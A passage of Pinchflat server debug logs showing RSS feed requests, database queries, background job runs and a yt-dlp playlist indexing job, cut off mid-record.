s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:55:31.201 [debug] QUERY OK source="media_metadata" db=0.7ms idle=92.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:55:31.201 [info] Sent 200 in 21ms 22:55:31.465 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.356 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:01.467 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:31.469 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.291 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:57:00.358 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:01.472 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:31.475 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.360 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:01.477 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:31.479 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.362 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:01.482 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:31.484 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:36.716 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:59:36.717 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:59:36.719 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=1548.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:59:36.722 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=588.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:59:36.723 [debug] QUERY OK source="source_metadata" db=0.2ms idle=591.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:59:36.724 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=591.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:59:36.725 [info] Sent 200 in 8ms 23:00:00.364 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:01.486 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:31.488 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:53.971 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:00:53.971 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:00:53.973 [debug] QUERY OK source="sources" db=0.8ms queue=0.4ms idle=1840.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:00:53.976 [debug] QUERY OK source="media_items" db=1.1ms queue=0.6ms idle=1610.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:00:53.978 [debug] QUERY OK source="source_metadata" db=0.3ms idle=845.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:00:53.980 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.1ms idle=846.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:00:53.981 [info] Sent 200 in 9ms 23:01:00.366 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:01.495 [info] {"source":"oban","duration":5209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:31.497 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.325 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:02:00.369 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:01.500 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:31.502 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.371 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:01.504 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:31.507 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.372 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:01.510 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:31.512 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.374 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:01.514 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:17.624 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:05:17.625 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:05:17.627 [debug] QUERY OK source="sources" db=1.1ms idle=448.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:05:17.629 [debug] QUERY OK source="media_items" db=0.9ms queue=0.5ms idle=379.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:05:17.631 [debug] QUERY OK source="source_metadata" db=1.3ms idle=381.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:05:17.633 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.1ms idle=383.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:05:17.634 [info] Sent 200 in 9ms 23:05:31.516 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:36.935 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:05:36.935 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:05:36.937 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1687.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:05:36.939 [debug] QUERY OK source="media_items" db=0.8ms queue=0.6ms idle=1689.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:05:36.941 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1692.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:05:36.942 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=718.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:05:36.942 [info] Sent 200 in 7ms 23:06:00.375 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:01.518 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:31.521 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.360 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:07:00.377 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:01.523 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:31.526 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.379 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:01.528 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:31.531 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.381 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:01.534 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:31.537 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.383 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:01.540 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:31.542 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:49.182 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:10:49.182 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:10:49.184 [debug] QUERY OK source="sources" db=1.0ms idle=1933.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:10:49.186 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1189.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:10:49.188 [debug] QUERY OK source="source_metadata" db=0.2ms idle=938.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:10:49.189 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.5ms idle=938.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:10:49.190 [info] Sent 200 in 7ms 23:11:00.385 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:01.550 [info] {"source":"oban","duration":6636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:03.421 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:11:03.422 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:11:03.425 [debug] QUERY OK source="sources" db=2.2ms queue=0.2ms idle=1173.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:11:03.428 [debug] QUERY OK source="media_items" db=2.2ms queue=0.3ms idle=1176.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:11:03.431 [debug] QUERY OK source="source_metadata" db=1.2ms queue=0.8ms idle=1180.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:11:03.433 [debug] QUERY OK source="media_metadata" db=0.5ms idle=381.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:11:03.435 [info] Sent 200 in 13ms 23:11:05.161 [info] {"args":{"id":1},"id":100,"meta":{},"system_time":1768086665103259285,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:11:05.207 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1774.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:11:05.236 [debug] QUERY OK source="settings" db=28.6ms queue=0.1ms idle=1774.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:05.243 [debug] QUERY OK source="media_items" db=3.3ms queue=0.1ms idle=1184.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:11:05.248 [debug] QUERY OK source="media_items" db=3.2ms queue=1.3ms idle=176.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:11:05.251 [debug] QUERY OK source="media_profiles" db=2.5ms queue=0.2ms idle=146.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:11:05.257 [debug] QUERY OK source="settings" db=1.1ms queue=0.7ms idle=48.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:05.409 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 23:11:05.410 [debug] QUERY OK source="settings" db=1.3ms queue=0.2ms idle=172.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:05.412 [debug] Current batch of media processed. Will check again in 1000ms 23:11:05.413 [debug] QUERY OK source="settings" db=2.3ms idle=168.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:05.415 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=165.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:11:05.419 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e9/a3/e9a308675d5e85cb0bef2a6bf23b86721b99aa2147f7614518bc196ad3e5a8a9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:11:06.414 [debug] Current batch of media processed. Will check again in 1000ms 23:11:07.415 [debug] Current batch of media processed. Will check again in 1000ms 23:11:08.416 [debug] Current batch of media processed. Will check again in 1000ms 23:11:09.420 [debug] Current batch of media processed. Will check again in 1000ms 23:11:10.422 [debug] Current batch of media processed. Will check again in 1000ms 23:11:11.424 [debug] Current batch of media processed. Will check again in 1000ms 23:11:12.425 [debug] Current batch of media processed. Will check again in 1000ms 23:11:13.426 [debug] Current batch of media processed. Will check again in 1000ms 23:11:14.427 [debug] Current batch of media processed. Will check again in 1000ms 23:11:15.428 [debug] Current batch of media processed. Will check again in 1000ms 23:11:16.429 [debug] Current batch of media processed. Will check again in 1000ms 23:11:17.431 [debug] Current batch of media processed. Will check again in 1000ms 23:11:18.437 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => 